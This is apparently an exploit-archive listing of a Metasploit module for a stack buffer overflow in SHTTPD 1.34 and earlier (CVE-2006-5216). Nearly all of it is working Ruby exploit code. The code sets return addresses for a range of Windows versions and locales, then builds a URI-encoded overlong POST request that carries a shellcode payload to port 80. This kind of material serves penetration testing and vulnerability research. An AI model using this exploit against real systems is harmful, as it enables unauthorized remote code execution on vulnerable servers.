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SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)

SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)
Posted Nov 26, 2009
Authored by H D Moore, skOd, LMH | Site metasploit.com

This Metasploit module exploits a stack overflow in SHTTPD <= 1.34. The vulnerability is caused due to a boundary error within the handling of POST requests. Based on an original exploit by skOd but using a different method found by hdm.

tags | exploit, overflow
advisories | CVE-2006-5216
SHA-256 | bbf79a73aac5ea469215c707ea33d3bd1c106a494632ed021e897dc2cd38886f

SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)',
'Description' => %q{
This module exploits a stack overflow in SHTTPD <= 1.34.
The vulnerability is caused due to a boundary error within the
handling of POST requests. Based on an original exploit by skOd
but using a different method found by hdm.
},
'Author' => [ 'LMH <lmh [at] info-pull.com>', 'hdm', 'skOd'],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2006-5216'],
[ 'OSVDB', '29565' ],
[ 'URL', 'http://shttpd.sourceforge.net'],
[ 'BID', '20393'],
],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# Except for Spanish locale target, all come from:
# http://metasploit.com/users/opcode/msfopcode.cgi
[ 'Windows NT English SP5-SP6', { 'Ret' => 0x776a183a } ],
[ 'Windows 2000 Spanish SP4', { 'Ret' => 0x79496391 } ],
[ 'Windows 2000 French SP4', { 'Ret' => 0x74fb108d } ],
[ 'Windows 2000 English SP0-SP4', { 'Ret' => 0x75021421 } ],
[ 'Windows 2000 French SP0-SP4', { 'Ret' => 0x74fa3144 } ],
[ 'Windows 2003 Server English SP0-SP1', { 'Ret' => 0x77d877d3 } ],
[ 'Windows XP German SP2', { 'Ret' => 0x71a02975 } ],
[ 'Windows XP German SP1', { 'Ret' => 0x71a02a6a } ],
[ 'Windows XP English SP2', { 'Ret' => 0x71aa1e08 } ],
[ 'Windows XP English SP0-SP1', { 'Ret' => 0x71aa1aaa } ],
],
'DisclosureDate' => 'Oct 6 2006'))

register_options( [ Opt::RPORT(80) ], self.class )
end

def exploit
connect

pat = rand_text_alphanumeric(4000)
pat[8,4] = [target.ret].pack('V')
pat[103, payload.encoded.length] = payload.encoded
pat = Rex::Text.uri_encode(pat)

res = "post /#{pat} HTTP/1.0\r\n\r\n"

print_status("Trying target address 0x%.8x..." % target.ret)
sock.put(res)
sock.close

handler
disconnect
end

end
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